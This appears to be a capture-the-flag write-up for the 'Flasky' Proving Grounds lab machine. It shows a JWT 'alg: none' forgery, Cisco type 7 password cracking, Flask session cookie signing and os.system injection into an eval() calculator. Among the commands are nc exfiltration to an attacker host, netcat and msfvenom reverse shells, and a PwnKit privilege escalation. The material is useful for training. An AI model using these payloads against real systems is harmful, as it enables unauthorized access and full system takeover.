Flasky Proving Grounds Practice Walkthrough

0xRave
7 min readDec 14, 2023

--

Initial Foothold was something related to auth bypass, like manipulating tokens. Privilege Escalation, is similar to the initial foothold, but lead to RCE, check the home directory and running services carefully.

Photo by Alireza Shojaei on Unsplash

Enumeration

sudo nmap -p- -Pn -vv -sS -A --open -T 4 -oN nmap-sS.txt $IP

We got port 22, 5555 and 20202. Both 5555 and 20202 running http.

Port 5555

Calculator web page

Browsing the page, a login page. Tried with common password but does not work, did a dirb discover /add /sub path but return 405 method not allow. Even it support POST, but we don’t have the parameter. Nothing much here then decide to move to next port.

Port 20202

Key vault page

Another login page, did the same thing with common password, does not work either. So we tried the guest login button.

From the guest page, we notice the comment mentioned the JWT token did not configured properly.

Jane Doe comment

Let’s check on the JWT.

JWT manipulation

To get the token, if you are using a browser, press F12 > storage tab > cookies.

getting the JWT token

If you are using burp, you can find the JWT at /admin

Get JWT token from burp

JWT, or JSON Web Token, is a compact and self-contained way for securely transmitting information between parties as a JSON object. It is commonly used for authentication and information exchange. A JWT is composed of three parts, each part is separated by . as per below:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6ICIxIiwiZ3Vlc3QiOiAidHJ1ZSIsImFkbWluIjogZmFsc2V9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header, typically consists of two parts: the type of token, which is JWT, and the signing algorithm being used, such as HMAC SHA256 or RSA.

Payload, which contains the claims. Claims are statements about an entity (typically, the user) and additional data. There are three types of claims: registered, public, and private claims.

Signature, used to verify that the sender of the JWT is who it says it is and to ensure that the message wasn’t changed along the way. You have to take the encoded header, the encoded payload, a secret, the algorithm specified in the header, and sign that.

The header and payload are base64 encoded, we can just copy and paste the JWT at jwt.io to check if any useful info is included in the token. Alternatively, we can use base64 -d to decode it at kali terminal.

Here I will be using kali method, the reason jwt.io website format is different from what we decode via the terminal(the newline and spacing), causing the encoded result different. I did tried both methods, and the encoded JWT token is not working. One more thing is, the header does not allow to put “alg”:”none”.

#Copy the header of JWT and decode it
echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
#Copy the payload of JWT and decode it
decoded JWT header and payload

From the decoded JWT , we tried to edit(eg id from 0 to 1, 2. admin from false to true) the payload, encoded it and replace the JWT with the new payload to try if we can get an admin access to the web but none of it works.

We then google “JWT exploit” and found an article by Musab Alharany. If you interested with the jwt_tool mentioned in the article, you can get from here.

Getting the admin page

Trying the none attack method mentioned in the article, we managed to gain access to the admin page.

echo -n '{"typ":"JWT","alg":"none"}'|base64
echo -n '{"id": "0","guest": "false","admin": true}'|base64
#remove the = padding at the end of the encoded value as JWT are encoded using Base64url, which is URL safe and does not require padding characters
encoded header and payload

Use burp to intercept when we click the login button at http://192.168.159.141:20202/ , then we replace the JWT header and payload, remove the signature part.

#final jwk token value as per below
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6ICIwIiwiZ3Vlc3QiOiAiZmFsc2UiLCJhZG1pbiI6IHRydWV9.
replace the jwt
Access to admin page

While checking the page, most of the buttons did not function. But we discovered a link in the comment that John mentioned about config. You can discover the link via burp as well.

Burp will pop and show in grey font.

Click on the link and use burp to intercept it, replace the JWT as before.

We got a bunch of credentials from the cisco config page. We then google “crack cisco password 7”, found this website and cracked all these passwords. If you prefer script, you can save the config file into a text file and use this python script to decrypt it.

Getting remote access

Tried these credentials on both websites and none of them works. So we tried with SSH. We were able to SSH to the target machine with one of the credential and got our first flag.

Privilege Escalation

Method 1

Checking running process

From linpeas result or ps -aux, check on the running process. We discovered the calculator website(the web running at port 5555)was run by root. If we can execute remote code from the calculator website, we can get a root reverse shell. However, we don’t have a credential to log into further enumerate.

By look around John home directory, we discover a file calc.bak. It seems to be the source code of the calculator website. We discover it using flask, and the secret.

Flask and secret found

Checking further down, we discover the use of eval() and has import os, no input validation was found in the code. We can try code injection, and has os imported, we can call system() to execute command.

But first, we need to login to the website.

Flask Exploit

We google “Flask exploit”, and found this useful website.

We then go to the calculator website http://$TargetIP:5555/ and capture the session cookie either via browser F12 or via burp.

#decode the session cookie
echo 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.ZXqGTw.atgS96E6BsFCtFtuNkyxX0-CPRw' | base64 -d
decoded cookie

Since we have the secret, we can change the cookie logged_in to true and sign it. Then we might able to log in.

#install the flask unsign tools
pip3 install flask-unsign
#change the cookie value and sign
flask-unsign --sign --cookie "{'logged_in': True}" --secret '$Input_the_secret'
Signed new cookie value

Copy the new signed cookie and replace the session cookie value via the browser. Then refresh the page, it should redirect to logged-in page.

Replace session cookie value
Logged in

Getting RCE

Use burp to intercept the traffic when clicking the divide button. Either value1 or value2 is fine, we try to inject payload.

#At burp, value2 payload to verify if we can execute command by which user.
value2=os.system("id|nc $KaliIP 80")
Successful RCE with root.

Since the nc on the target machine does not support -e option (just nc -h via john ssh session), we can either transfer our nc or use msfvenom to create a reverse shell payload, transfer it to the target machine and execute it to get reverse shell.

#At kali machine, since we got SSH, we can use scp to transfer
scp /usr/bin/nc john@$ip:/tmp/nc
#At john SSH session
chmod +x /tmp/nc
#At kali burp, inject reverse shell payload.
value2=os.system("nc $KALIIP 80 -e /bin/bash")
Root get!

Using MSFVenom

#generate reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$KaliIP LPORT=80 -f elf > shell
#Transfer to the target machine via scp from kali
scp /path/to/shell john@192.168.223.141:/tmp/shell
#At john SSH session
chmod +x /tmp/shell
#At kali setup listener
nc -nlvp 80
#At burp, inject value2 payload
value2=os.system("/tmp/shell")

Method 2 (easier)

#At kali machine, go to linpeas.sh directory
python3 -m http.server 80
#At target machine
curl http://$KaliIP/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

From linpeas result, we found 2 potential CVE which are CVE-2021–4034 and CVE-2021–3560.

Let’s try with CVE-2021–4034, the exploit can be found here. Download the exploit and transfer the exploit to the target machine as how we transfer linpeas. Then execute it. I did try with CVE-2021–3560 but not working as certain services is not enabled.

Root shell gain.

--

--